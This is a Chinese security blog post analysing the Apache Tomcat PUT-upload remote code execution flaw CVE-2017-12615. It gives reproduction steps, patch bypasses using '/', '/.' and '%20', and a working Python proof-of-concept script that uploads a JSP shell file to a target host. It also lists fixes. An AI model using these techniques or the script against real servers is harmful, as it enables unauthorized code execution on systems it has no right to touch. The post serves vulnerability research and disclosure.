博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Tomcat代码执行漏洞(CVE-2017-12615)的演绎及个人bypass
阅读量:5232 次
发布时间:2019-06-14

本文共 2417 字,大约阅读时间需要 8 分钟。

0x00 漏洞简介

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞。

漏洞CVE编号:CVE-2017-12615和CVE-2017-12616。

其中 远程代码执行漏洞(CVE-2017-12615)

影响: Apache Tomcat 7.0.0 - 7.0.79

漏洞触发条件:

1,tomcat得架设在windows主机上

2,将readonly由默认值true设置为false。(开启http PUT 方法)

攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。

该漏洞由360观星实验室发现并提交。

官方在确认漏洞并在tomcat 7.0.81中修复。

 

0x01 漏洞演绎:漏洞复现

需要的环境:

1,tomcat 版本低于7.0.81

2,burpsuite

官网上在7.0.81出来之后就找不到低于该版本的了,在csdn下了一个7.0.65的免安装版。

jdk的配置与及环境变量的配置就不多说了。配置好conf/web.xml的readonly 为 false。如下图

startup启动tomcat,环境就算搭好了。

漏洞利用姿势有两种:

1,利用windows对文件名的要求特性。倘若文件名最后的一个字符是空格或者点号,会被自动去掉。

利用空格

 

利用点号

 

 

 2,利用windows的ntfs文件流特性。关于文件流请看这里(https://msdn.microsoft.com/en-us/library/dn393272.aspx)

 至于原理可以参考先知的分析(http://mp.weixin.qq.com/s/wWkb079hUYOwDgVQqEqGZQ)

 

0x02 漏洞演绎:bypass 补丁

在各方大佬对官方的的补丁进行分析,fuzz之后,发现了在文件名后加多一个'/' 或者'/.',可以直接bypass 补丁,攻击范围也从仅限于的windows扩展到windows和linux,漏洞影响版本也从仅影响7.x版本,直接日穿5.x到9.x所有版本。

漏洞影响:

版本:5.x-9.x

平台:windows,linux

bypass 补丁环境准备:

1,tomcat 7.0.81

2,burpsuite

修改好readonly,开始测试。

利用'/'

 

 利用'/.'

 

 0x03 漏洞演绎:我的bypass

在对多个版本进行复现,测试的时候,我也发现了一个'bypass',有些鸡肋,充其量应该算是补丁的缺陷吧。

1,版本仅限于7.0.81;

2,平台仅限于windows;

bypass 思路:先put请求一个服务器上面存在的jsp文件,如index.jsp%20,再put 我们自己的shell.jsp%20,神奇的发现创建了shell.jsp。测试了很久,发现只有%20可以过。

比如tomcat服务器上肯定存在index.jsp。

先put index.jsp%20 ,提示409

 

 再put shell.jsp%20,可以发现成功创建了shell.jsp

在用burpsuite测试的时候,时不时会过不了。

写了个脚本,思路就清晰了不少。

1 #-*- coding:utf-8 -*- 2  3 import requests 4 import sys 5 import random 6  7  8 body = '<%out.println("hello ! This is my bypass shell");%>' 9 10 urltemp = 'http://'+sys.argv[1]+'/index.jsp%20' # put the exists jsp,like the index.jsp11 shellname = 'shell'+str(random.randint(1000,10000))12 13 urlpoc = 'http://'+sys.argv[1]+'/'+shellname+'.jsp%20'14 15 urlnormal =  'http://'+sys.argv[1]+'/'+shellname+'.jsp'16 17 18 requests.put(urltemp,body)19 20 response = requests.put(urlpoc,body)21 22 code =  response.status_code23 24 if code== 201:25     print 'shell create';26 27 response = requests.get(urlnormal)28 code = response.status_code29 if code == 200:30     print 'Your shell: '+urlnormal

脚本是稳定的:

至于为什么会出现这种问题,得好好跟一下才知道了~~

 

0x04 修复方案

认真检查tomcat 配置是否设置了readonly为false或者是否启用了PUT方法,设置readonly为true,禁用PUT方法!!

留意官方的最新补丁,及时升级!!

 

参考文章:

1,Tomcat 远程代码执行漏洞分析(CVE-2017-12615)及补丁 Bypass(http://www.freebuf.com/vuls/148283.html)

2,Tomcat信息泄漏和远程代码执行漏洞分析报告(CVE-2017-12615/CVE-2017-12616)(https://mp.weixin.qq.com/s/wWkb079hUYOwDgVQqEqGZQ)

转载于:https://www.cnblogs.com/r00tuser/p/7569942.html

你可能感兴趣的文章
大数据学习之一——了解简单概念
查看>>
Lintcode: Partition Array
查看>>
Maximum Product Subarray
查看>>
C语言小项目-火车票订票系统
查看>>
[Linux]PHP-FPM与NGINX的两种通讯方式
查看>>
Java实现二分查找
查看>>
[LintCode] 462 Total Occurrence of Target
查看>>
springboot---redis缓存的使用
查看>>
架构图-模型
查看>>
黑马程序员_Java基础枚举类型
查看>>
一位90后程序员的自述:如何从年薪3w到30w!
查看>>
在.net core上使用Entity FramWork(Db first)
查看>>
UIImage 和 iOS 图片压缩UIImage / UIImageVIew
查看>>
MongoDB的数据库、集合的基本操作
查看>>
ajax向后台传递数组
查看>>
疯狂JAVA16课之对象与内存控制
查看>>
[转载]树、森林和二叉树的转换
查看>>
软件测试-----Graph Coverage作业
查看>>
django ORM创建数据库方法
查看>>
创建Oracle synonym 详解
查看>>